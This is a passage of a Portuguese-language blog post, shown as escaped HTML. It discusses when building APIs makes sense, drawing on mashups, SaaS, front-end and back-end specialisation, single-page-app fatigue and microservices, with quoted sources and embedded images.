&lt;p&gt;O termo &lt;em&gt;Mashup&lt;/em&gt; ganhou popularidade após a &lt;a href=&quot;https://pt.wikipedia.org/wiki/Web_2.0&quot;&gt;&lt;em&gt;Web 2.0&lt;/em&gt;&lt;/a&gt; (entreguei a idade nessa referência) transformar a forma como a &lt;em&gt;web&lt;/em&gt; era desenvolvida. &lt;em&gt;Mashups&lt;/em&gt; são &lt;em&gt;APIs&lt;/em&gt;, &lt;em&gt;websites&lt;/em&gt; ou serviços que misturam diferentes fontes afim de entregar uma solução. Um bom exemplo de &lt;em&gt;mashup&lt;/em&gt; é a interface de busca do &lt;em&gt;Airbnb&lt;/em&gt;, integrada ao &lt;em&gt;Google Maps&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/8e8d838f1bd37aabc1a4391ac5322c2b/07b5d/interface-airbnb.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 51.041666666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACXUlEQVQozz2S627TQBCF/Xw8AL+R+A1vQB8ACSHEVfCjqkAt9EoFpSqlpWmjlJSWXmmaq2M7duLYiXN3nNT+mJjCSrOz0s6eOefsKP1Wm26nQ6/XIwgCoigCItrDkGM75NAaU3A87K6D5mkY1SJ2y6HSrqNLWJ0aVc9FdZucWj5Ko9GgZts4jkO73SEYjWNAvRMxl50E7OttzFaJI+cX66UGKUPnh2mS1G3O7StOq2XWij4r2QCl7bXwvCYDf8h4OGHpE458YTNiMQ/LBfhSCgWgwteyGzdI6D3KrsZF3eLSuSJhtOO6lfw1yqtHU9y/d5c3T6d49+IBa0tvmZ+ZZm3vhFUNlnJhDDyfE3DJ+0afjWIgzIpk3Czn7qk08tjRRnwqhij50zTJvQSHqS1Su99IJZPsbkm+NFgu/QVcLkQx6LHZxXQarAibVKVBuVkShhk2y4OY4aRO6Q+GTFYofxFOtptlB/BBPPxXuCCA2WqLYqXGkeqiGSK5WmOt5LMkdws39ii9Xhev6TAei4ejgLGADoKQfN2/8TASRhHzck4bPc6MpuQ+O8WuSCSu+VgI+VwYCbBIfvnsIa8fT3GQ3uRsf48n0zPcunOb57OzrFvSOTuOH82Jh9/L8lm1BkmReFhpsan2SWgDrpwKOVvjt9VE2d3e5OggRa1iYOkyDj/TLK7OksyorKjiYT5iWw040ZvkzCqmbVCq5VHtDIVqDrOpoXsltHqZRquOcn0dxp75w6GMjv/fQ1HMe/FwozAgr+q4dZO6Y1ORrNazXFhHZMwzGfoClmuhm4Y0M/kDQu/M+CODGbsAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Interface de busca do Airbnb com o Google Maps&quot;
        title=&quot;Na interface web, no desktop, é possível buscar por proximidade e ter auxílio do Google Maps para encontrar um lugar&quot;
        src=&quot;/static/8e8d838f1bd37aabc1a4391ac5322c2b/e5715/interface-airbnb.png&quot;
        srcset=&quot;/static/8e8d838f1bd37aabc1a4391ac5322c2b/8514f/interface-airbnb.png 192w,
/static/8e8d838f1bd37aabc1a4391ac5322c2b/804b2/interface-airbnb.png 384w,
/static/8e8d838f1bd37aabc1a4391ac5322c2b/e5715/interface-airbnb.png 768w,
/static/8e8d838f1bd37aabc1a4391ac5322c2b/4ad3a/interface-airbnb.png 1152w,
/static/8e8d838f1bd37aabc1a4391ac5322c2b/71c1d/interface-airbnb.png 1536w,
/static/8e8d838f1bd37aabc1a4391ac5322c2b/07b5d/interface-airbnb.png 2551w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Na interface web, no desktop, é possível buscar por proximidade e ter auxílio do Google Maps para encontrar um lugar&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Integrações com terceiros fazem parte do cotidiano dos desenvolvedores &lt;em&gt;web&lt;/em&gt;, e não é raro tais integrações se materializarem na forma de &lt;em&gt;APIs&lt;/em&gt;. Além disso, o conceito
de &quot;Software Como Serviço&quot; (&lt;a href=&quot;https://www.techradar.com/news/what-is-saas&quot; title=&quot;What is SaaS&quot;&gt;&lt;em&gt;SaaS&lt;/em&gt;&lt;/a&gt;) está amplamente estabelecido no mercado, e há uma certa expectativa que
o seu produto possua algumas de suas características.&lt;/p&gt;
&lt;p&gt;Oras! Você já é um desenvolvedor &lt;em&gt;web&lt;/em&gt;, desenvolvendo para a nuvem. O que te custa fazer disso um serviço e disponibilizar alguns endereços para que um cliente
conecte-se com a sua solução?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 512px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6f194806efb0212ff924af7e867e2ef7/01e7c/saas-vs-soa.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADDklEQVQ4y32U23OiSBTG5/9/3XmcrZ15maqtudROMhsNihCJMYoiCiLe0SBo4h0SRMFvT9gZE5NoVzUNrf317zunT7/Dr7bdbnfj0zvg+ytssUEQ+Fiv1zj2/8f27tCPnudi5phIcj/w4a8/8OfH91D1a8yX1k74+Tp67gs+F5vORsgVGVwXY8gW4siKccQSf6NYYZGTztHsSAhC/w1REnw54bhTCNlTcJf/IMF9Ayf8QEVLQ1Z5FOQEZIWPNqpoGWw261fO9iyHYYi+pRJdHMVyCpLCReMjIX95gnP2K5L896iXNQ4zsv98/Y7w94R7P0fnRiQSFplcDNWGAMMs0vv/G8hqKiK+yjNoGflo8yAIXlv+/TFfjGhnPopfsZyEbkhEmYOoiBCrItRmCY2eRIJnSGdOIZZYrFbeYcHJ3EbfltA0ClA6VVwURZwwDGI8hy+nJ2BzWdTMHiQtj5KSglrPwFs9HBZcuhN0ByVIdQWJSwHslYAzLonzCw6XkghBzCGZEZAuFKB1KrDvaq+O0F5SfN+DZtSRr1XBENU59bNkAjHqTJoHK6TBkHhOLUNq6jAs43iW/fUG9cEIMaKK8ykwXArxFAv+KoMU9X/ZBNJE+ZOhrIsi7KnzS+yQ5XsP9sKH0jYg1lSUiIIRLiiGKQpBGteKjEq3GTnQ+zZGS59c+W/FMJrC1HlAf3KPwfQBDSLVLTOKHfcYz/QFrssy6paN3u0Cw+Uag4lLWfYPJ2XheihUW1RiDZS0NkwS7o5maNtjdOwJbsYO2tYUstal49WB3jYpTEeSsvLXaBhDVOt9WtBFSW1DqRkwiXq43ERjvlync6igd+fidvEQVddBwu02xGjmkmUP1ZYJudqJ7D/GtWWOIyqp0oRS78GceXDuvdel9/J+C4IQemcAmcgktQljtED/zkFZN6A2+kTdQoHIh5PF7so6eGx21inQ1niJWzdEVtbw6fMXfD9lKBkOrNkKt+QiDIO3r6+nHV6SBnA8stq3kJcUqmkdw/GcSm29R3bU8vaF/WNt/5Z/mv8PU2XRQqV3y8EAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diferenças e similaridades entre SaaS e SOA&quot;
        title=&quot;Diferenças e similaridades entre SaaS e SOA (tecnetit.com.br)&quot;
        src=&quot;/static/6f194806efb0212ff924af7e867e2ef7/01e7c/saas-vs-soa.png&quot;
        srcset=&quot;/static/6f194806efb0212ff924af7e867e2ef7/8514f/saas-vs-soa.png 192w,
/static/6f194806efb0212ff924af7e867e2ef7/804b2/saas-vs-soa.png 384w,
/static/6f194806efb0212ff924af7e867e2ef7/01e7c/saas-vs-soa.png 512w&quot;
        sizes=&quot;(max-width: 512px) 100vw, 512px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Diferenças e similaridades entre SaaS e SOA (tecnetit.com.br)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;E aqui é possível enxergar que além da técnica em relação à integrações, há um fator econômico que precisa ser levado em consideração. &lt;em&gt;Jennifer Riggins&lt;/em&gt;, no &lt;a href=&quot;https://www.programmableweb.com/news/how-to-design-great-apis-api-first-design-and-raml/how-to/2015/07/10&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&lt;em&gt;How To Design Great APIs With API-First Design&lt;/em&gt;&lt;/a&gt;, explora um pouco mais dessa vertente. &lt;a href=&quot;https://www.mulesoft.com/resources/api/what-is-an-api-economy&quot; title=&quot;What is the API Economy&quot;&gt;Mas uma das melhores definições vem do pessoal da &lt;em&gt;MuleSoft&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The innovative power of APIs has led to the realization that APIs can be a critical component of enterprise solutions that impact the operational bottom line, contributing to efficiencies, growth, and innovation. That, in turn, has created the API economy, which is loosely defined as the way APIs can positively affect an organization&apos;s profitability.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Portanto, se você estiver construindo um produto onde tais integrações podem ser um novo canal de distribuição (ou até mesmo o principal canal de distribuição), ter uma &lt;em&gt;API&lt;/em&gt; faz todo o sentido.&lt;/p&gt;
&lt;h3&gt;Em contrapartida...&lt;/h3&gt;
&lt;p&gt;Embora seja de conhecimento público que a &lt;a href=&quot;https://netflixtechblog.com/tagged/microservices&quot; title=&quot;Leia mais no blog técnico do Netflix&quot;&gt;&lt;em&gt;Netflix&lt;/em&gt; utilize microsserviços&lt;/a&gt;
(e os serviços possuam &lt;em&gt;APIs&lt;/em&gt; para uso interno), a &quot;locadora vermelha&quot; não possui &lt;em&gt;API&lt;/em&gt; pública (até o momento da escrita desse artigo). E esse
exemplo pode servir como argumento para ilustrar que nem tudo precisa ser concebido com uma ideia de integração desde o seu princípio.&lt;/p&gt;
&lt;p&gt;No entanto, assim como no exemplo do &lt;em&gt;Gmail&lt;/em&gt;, para entregar um conteúdo de forma coesa para tantos clientes diferentes (&lt;em&gt;TV&lt;/em&gt;, &lt;em&gt;mobile&lt;/em&gt;, &lt;em&gt;web&lt;/em&gt;, etc), há uma necessidade técnica que fortalece o argumento
do uso de protocolos de comunicação.&lt;/p&gt;
&lt;h2&gt;Front-end x Mobile x Back-end&lt;/h2&gt;
&lt;p&gt;No caso do &lt;em&gt;Gmail&lt;/em&gt;, por exemplo, o protocolo &lt;a href=&quot;https://pt.wikipedia.org/wiki/Post_Office_Protocol&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;&lt;em&gt;POP&lt;/em&gt;&lt;/a&gt;
seria o suficiente para conectar um cliente com o servidor, afim de ler os e-mails. Ao falarmos de soluções &lt;em&gt;web&lt;/em&gt;, e portanto, funcionando sobre a camada &lt;em&gt;HTTP&lt;/em&gt;,
esse tipo de interação é comumente efetuada através de &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;APIs REST&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 602px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/873febc6cd552df522d1d5dc20ed2ef0/e49d1/front-back-end.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 85.9375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAARABQDASIAAhEBAxEB/8QAGAABAQADAAAAAAAAAAAAAAAAAAIBAwX/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIQAxAAAAHvRUG0GQAf/8QAGRAAAQUAAAAAAAAAAAAAAAAAAQAQESAh/9oACAEBAAEFAoQ1jb//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/AR//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/AR//xAAWEAADAAAAAAAAAAAAAAAAAAAAMEH/2gAIAQEABj8CKj//xAAaEAEAAwADAAAAAAAAAAAAAAABABEhIGGR/9oACAEBAAE/IXsylt9QKJesgI8f/9oADAMBAAIAAwAAABAwwAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/EB//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/EB//xAAcEAEBAQABBQAAAAAAAAAAAAABEQAhIDFhcaH/2gAIAQEAAT8QpWfp1oCm8BV8rcw4ri/fl+dP/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Ilustração separando front-end de back-end&quot;
        title=&quot;Full-stack ou Fool-stack? (quora.com)&quot;
        src=&quot;/static/873febc6cd552df522d1d5dc20ed2ef0/e49d1/front-back-end.jpg&quot;
        srcset=&quot;/static/873febc6cd552df522d1d5dc20ed2ef0/7809d/front-back-end.jpg 192w,
/static/873febc6cd552df522d1d5dc20ed2ef0/4ecad/front-back-end.jpg 384w,
/static/873febc6cd552df522d1d5dc20ed2ef0/e49d1/front-back-end.jpg 602w&quot;
        sizes=&quot;(max-width: 602px) 100vw, 602px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Full-stack ou Fool-stack? (quora.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Há nem tanto tempo atrás, &lt;em&gt;full-stack developers&lt;/em&gt; eram comuns no mercado de desenvolvimento &lt;em&gt;web&lt;/em&gt;. Soluções eram basicamente
&lt;a href=&quot;/tag/html.html&quot; title=&quot;Leia mais sobre HTML&quot;&gt;&lt;em&gt;HTMLs&lt;/em&gt;&lt;/a&gt; sendo entregues com a interface tendo apenas intervenções de &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt; para enriquecer a experiência.&lt;/p&gt;
&lt;p&gt;Com os navegadores evoluindo cada vez mais, as interfaces &lt;em&gt;web&lt;/em&gt; ficando cada vez mais complexas, e demandas nos domínios de &lt;em&gt;front-end&lt;/em&gt; e &lt;em&gt;back-end&lt;/em&gt; exigindo
maior especialidade; Hoje o padrão de mercado é encontrarmos desenvolvedores especializados em &lt;em&gt;front-end&lt;/em&gt;, ou em &lt;em&gt;back-end&lt;/em&gt;, ou até mesmo &lt;em&gt;mobile&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Full-stack developers&lt;/em&gt;
são considerados &quot;unicórnios&quot;, e por mais que eu tenha passado a maior parte da minha carreira como um, admito que hoje
em dia é muito difícil ficar nessa posição e manter-se atualizado com as novidades e tendências (&lt;a href=&quot;https://medium.com/better-programming/do-not-follow-javascript-trends-ca2f0dc19ec1&quot; title=&quot;Don’t Follow JavaScript Trends&quot;&gt;principalmente no mercado &lt;em&gt;front-end&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 318px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ed27fc6f5330fe62b08032e4d37f5171/2debd/ria.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 61.45833333333333%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAABQAB/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgH/2gAMAwEAAhADEAAAAWYfEFImi//EABsQAAIDAAMAAAAAAAAAAAAAAAECAAMREhMy/9oACAEBAAEFAjij1OD6bnMFrgd7z//EABcRAQEBAQAAAAAAAAAAAAAAAAEAAhP/2gAIAQMBAT8BdDdb/8QAFxEBAAMAAAAAAAAAAAAAAAAAAAESE//aAAgBAgEBPwGss3//xAAZEAACAwEAAAAAAAAAAAAAAAAAARExoZH/2gAIAQEABj8CbkTkvRyy8LXD/8QAHBAAAwACAwEAAAAAAAAAAAAAAAERITFBUWHR/9oACAEBAAE/IVRomcs0l7wOicwiSqfiEBJEpNCfwH//2gAMAwEAAgADAAAAEP8AH//EABkRAAIDAQAAAAAAAAAAAAAAAAARASFRof/aAAgBAwEBPxCEti5w/8QAFxEBAQEBAAAAAAAAAAAAAAAAAQARUf/aAAgBAgEBPxAJt9v/xAAcEAEAAgMAAwAAAAAAAAAAAAABACERMWFB4fD/2gAIAQEAAT8QVxY18EMX4bKm/UQqAp6uH1oI3GDkFMMB4M61FSGz6qf/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Anúncio de muito tempo atrás mostrando tecnologias ligadas ao Rich Internet Application&quot;
        title=&quot;Deixa eu pegar esse pergaminho aqui que cita tecnologias usadas para construir interfaces ricas para a internet (dotcom-monitor.com)&quot;
        src=&quot;/static/ed27fc6f5330fe62b08032e4d37f5171/2debd/ria.jpg&quot;
        srcset=&quot;/static/ed27fc6f5330fe62b08032e4d37f5171/7809d/ria.jpg 192w,
/static/ed27fc6f5330fe62b08032e4d37f5171/2debd/ria.jpg 318w&quot;
        sizes=&quot;(max-width: 318px) 100vw, 318px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Deixa eu pegar esse pergaminho aqui que cita tecnologias usadas para construir interfaces ricas para a internet (dotcom-monitor.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Portanto, é bem provável que o time de &lt;em&gt;front-end&lt;/em&gt; do seu projeto adote &lt;em&gt;React&lt;/em&gt; ou &lt;em&gt;Vue.js&lt;/em&gt;, e demande
do time de &lt;em&gt;back-end&lt;/em&gt; algumas &lt;em&gt;APIs&lt;/em&gt; (&lt;a href=&quot;/2020/07/01/alem-do-rest-com-graphql.html&quot; title=&quot;Além do REST com GraphQL&quot;&gt;&lt;em&gt;REST&lt;/em&gt; ou não&lt;/a&gt;) para que possam
entregar conteúdo dinâmico ao usuário final. É certo que essa demanda acontecerá se, por exemplo, o seu produto tiver uma versão &lt;em&gt;mobile&lt;/em&gt; nativa.&lt;/p&gt;
&lt;h3&gt;Em contrapartida...&lt;/h3&gt;
&lt;p&gt;Há um debate em torno de especialidades e do papel de um &lt;em&gt;full-stack&lt;/em&gt;. &lt;em&gt;David Humphrey&lt;/em&gt; sugere que nessa condição, &lt;a href=&quot;https://blog.humphd.org/fool-stack-programmer/&quot; title=&quot;How to become a Fool Stack Programmer&quot;&gt;deveríamos
ser capazes de &quot;subir ou descer&quot;, e oferecer ajuda, independente da &lt;em&gt;expertise&lt;/em&gt; em cada nível de uma &lt;em&gt;stack&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) is not about becoming an expert at every level of the stack. Rather, its goal is to erase the boundary between the levels such that you can reach up or down in order to offer help, even if that help is only to offer a kind word of encouragement when the problem is particularly hard: these are our problems, after all.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Outro argumento gira em torno do excesso de complexidade que virou desenvolver (qualquer coisa) para a &lt;em&gt;web&lt;/em&gt;.&lt;/p&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/SWEts0rlezA&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;Com um time multidisciplinar, é possível que você não precise confiar em uma &lt;em&gt;API&lt;/em&gt; para conectar as duas especialidades, e com
o bom e velho modo de fazer &lt;em&gt;web&lt;/em&gt; (por exemplo, &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt; entregando &lt;em&gt;HTML&lt;/em&gt;)
seu time seja capaz de entregar um produto (ainda assim) interessante.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 500px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/677faf277ec5a099b9f55044cb4b1308/41099/fool-stack.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 64.58333333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAgP/xAAVAQEBAAAAAAAAAAAAAAAAAAACAf/aAAwDAQACEAMQAAABmyoUublP/8QAGRABAAMBAQAAAAAAAAAAAAAAAQIDEgAT/9oACAEBAAEFAtAegV2XOsRXESLRB7//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAdEAABBAIDAAAAAAAAAAAAAAAAAREhkQISMUJh/9oACAEBAAY/ApyY2SfSFEd7MubO1n//xAAdEAADAAICAwAAAAAAAAAAAAAAAREhQTFRkfDx/9oACAEBAAE/IVrIOgx2FZZIcgcIRSxevgdX08H/2gAMAwEAAgADAAAAECgv/8QAFREBAQAAAAAAAAAAAAAAAAAAAQD/2gAIAQMBAT8QAm//xAAVEQEBAAAAAAAAAAAAAAAAAAABAP/aAAgBAgEBPxBGC//EABwQAQACAwADAAAAAAAAAAAAAAEAESFBcTGBwf/aAAgBAQABPxAWoBQBfqNgXcNTGHiqY71pKZU5AHeIoo5fiDAjGwx//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Piada com full-stack e fool-stack&quot;
        title=&quot;Pela graça da piada, deixo esse meme para mexer com o seu brio (devrant.com)&quot;
        src=&quot;/static/677faf277ec5a099b9f55044cb4b1308/41099/fool-stack.jpg&quot;
        srcset=&quot;/static/677faf277ec5a099b9f55044cb4b1308/7809d/fool-stack.jpg 192w,
/static/677faf277ec5a099b9f55044cb4b1308/4ecad/fool-stack.jpg 384w,
/static/677faf277ec5a099b9f55044cb4b1308/41099/fool-stack.jpg 500w&quot;
        sizes=&quot;(max-width: 500px) 100vw, 500px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Pela graça da piada, deixo esse meme para mexer com o seu brio (devrant.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Só para não parecer um &lt;em&gt;post&lt;/em&gt; &quot;anti-SPA&quot; ou &quot;anti-React&quot;, &lt;a href=&quot;https://macwright.com/2020/05/10/spa-fatigue.html&quot; title=&quot;Second-guessing the modern web&quot;&gt;faço das palavras de &lt;em&gt;Tom MacWright&lt;/em&gt; as minhas&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I don’t think that everyone’s using the SPA pattern for no reason. For large corporations, it allows teams to work independently: the “frontend engineers” can “consume” “APIs” from teams that probably work in a different language and can only communicate through the hierarchy. For heavily interactive applications, it has real benefits in modularity, performance, and structure. And it’s beneficial for companies to shift computing requirements from their servers to their customers browsers: a real win for reducing their spend on infrastructure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Se você acha que sua empresa ou produto não se encaixa nos critérios levantados na citação a cima,
&lt;a href=&quot;https://m.signalvnoise.com/stimulus-1-0-a-modest-javascript-framework-for-the-html-you-already-have/&quot; title=&quot;Stimulus 1.0: A modest JavaScript framework for the HTML you already have&quot;&gt;&lt;em&gt;HTML&lt;/em&gt; renderizado no &lt;em&gt;server side&lt;/em&gt;, com pitadas de &lt;em&gt;Javascript&lt;/em&gt;, ainda é uma realidade&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Microservices&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Microservices&lt;/em&gt; foi uma das ondas que sacudiu o mundo do desenvolvimento &lt;em&gt;back-end&lt;/em&gt; recentemente. O conceito de computação distribuída
não é novo, mas com a popularização de ferramentas como &lt;em&gt;Kubernetes&lt;/em&gt; e &lt;a href=&quot;/tag/docker.html&quot; title=&quot;Leia mais sobre Docker&quot;&gt;&lt;em&gt;Docker&lt;/em&gt;&lt;/a&gt;, fica difícil resistir à
tentação de mover toda uma solução para microsserviços.&lt;/p&gt;
&lt;p&gt;O portal da &lt;em&gt;Red Hat&lt;/em&gt; &lt;a href=&quot;https://www.redhat.com/pt-br/topics/microservices/what-are-microservices&quot; title=&quot;O que são os microsserviços?&quot;&gt;define a arquitetura da seguinte forma&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Microsserviços são uma abordagem de arquitetura para a criação de aplicações. O que diferencia a arquitetura de microsserviços das abordagens monolíticas tradicionais é como ela decompõe a aplicação por funções básicas. Cada função é denominada um serviço e pode ser criada e implantada de maneira independente. Isso significa que cada serviço individual pode funcionar ou falhar sem comprometer os demais.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As vantagens são numerosas, dentre elas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Habilidade de escalar horizontalmente qualquer um de seus componentes;&lt;/li&gt;
&lt;li&gt;Serviços são independentes. O que significa maior liberdade de desenvolvimento;&lt;/li&gt;
&lt;li&gt;A arquitetura é plugável, permitindo maior flexibilidade no gerenciamento de serviços internos e externos.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Uma arquitetura baseada em microsserviços fatalmente te levará a construir &lt;em&gt;APIs&lt;/em&gt;. Embora haja outras formas
